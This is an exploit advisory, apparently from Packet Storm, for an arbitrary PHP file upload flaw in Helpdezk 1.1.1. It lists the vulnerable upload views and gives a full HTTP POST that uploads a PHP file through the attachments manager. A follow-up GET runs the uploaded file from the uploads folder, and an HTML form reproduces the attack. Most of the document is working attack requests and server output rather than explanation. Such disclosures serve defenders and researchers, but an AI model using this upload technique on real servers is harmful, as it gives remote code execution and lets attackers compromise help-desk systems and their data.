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Helpdezk 1.1.1 Shell Upload

🗓️ 16 Nov 2018 00:00:00Reported by Ihsan SencanType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 487 Views

Helpdezk 1.1.1 Shell Upload, Arbitrary File Upload Vulnerability found in multiple file

Code
`# Exploit Title: Helpdezk 1.1.1 - Arbitrary File Upload  
# Dork: N/A  
# Date: 2018-11-13  
# Exploit Author: Ihsan Sencan  
# Vendor Homepage: http://www.helpdezk.org/  
# Software Link: https://netcologne.dl.sourceforge.net/project/helpdezk/helpdezk-1.1.1.zip  
# Version: 1.1.1  
# Category: Webapps  
# Tested on: WiN7_x64/KaLiLinuX_x64  
# CVE: N/A  
  
# POC:   
# 1)   
# http://localhost/[PATH]/helpdezk/manageattachments/  
#   
  
# Vulnerability found in more than one file.  
##Log S1##  
//PATH//app//modules//admin//views//upload.php  
//PATH//app//modules//admin//views//upload2.php  
//PATH//app//modules//admin//views//upload3.php  
//PATH//app//modules//admin//views//upload_dsh_image.php  
//PATH//app//modules//admin//views//upload_file.php  
//PATH//app//modules//admin//views//upload_icon.php  
//PATH//app//modules//helpdezk//views//manage_attachments.php  
//PATH//app//modules//helpdezk//views//manage_icons.php  
//PATH//app//modules//helpdezk//views//upload_file_knowledgebase.php  
  
POST /[PATH]/helpdezk/manageattachments/ HTTP/1.1  
Host: TARGET  
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
Connection: keep-alive  
Content-Type: multipart/form-data; boundary=  
---------------------------1293691802011755498543585049  
Content-Length: 374  
-----------------------------1293691802011755498543585049  
Content-Disposition: form-data; name="file"; filename="phpinfo.php"  
Content-Type: application/force-download  
<?php  
phpinfo();  
?>  
-----------------------------1293691802011755498543585049  
Content-Disposition: form-data; name="Submit"  
Ver Ayari  
-----------------------------1293691802011755498543585049--  
HTTP/1.1 200 OK  
Date: Tue, 13 Nov 2018 19:10:01 GMT  
Server: Apache/2.4.25 (Win32) OpenSSL/1.0.2j PHP/5.6.30  
X-Powered-By: PHP/5.6.30  
Set-Cookie: PHPSESSID=0qlddpbl1nbpmcaegppm73brg1; path=/  
Expires: Thu, 19 Nov 1981 08:52:00 GMT  
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0  
Pragma: no-cache  
Content-Length: 2771  
Keep-Alive: timeout=5, max=100  
Connection: Keep-Alive  
Content-Type: text/html; charset=UTF-8  
  
#  
GET /[PATH]/app/uploads/helpdezk/attachments/4.php HTTP/1.1  
Host: TARGET  
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
Cookie: PHPSESSID=0qlddpbl1nbpmcaegppm73brg1  
Connection: keep-alive  
HTTP/1.1 200 OK  
Date: Tue, 13 Nov 2018 19:10:29 GMT  
Server: Apache/2.4.25 (Win32) OpenSSL/1.0.2j PHP/5.6.30  
X-Powered-By: PHP/5.6.30  
Keep-Alive: timeout=5, max=100  
Connection: Keep-Alive  
Transfer-Encoding: chunked  
Content-Type: text/html; charset=UTF-8  
  
# POC:   
# 2)  
# http://localhost/[PATH]/helpdezk/manageattachments/  
#   
# http://localhost/[PATH]/app/uploads/helpdezk/attachments/[NUMBER].php  
#   
<html>  
<body>  
<form action="http://localhost/[PATH]/helpdezk/manageattachments/" method="post" enctype="multipart/form-data" name="formAt">   
<input name="file" type="file">   
<input type="submit" name="Submit" value="Ver Ayari">  
</form>  
</body>  
</html>  
  
`

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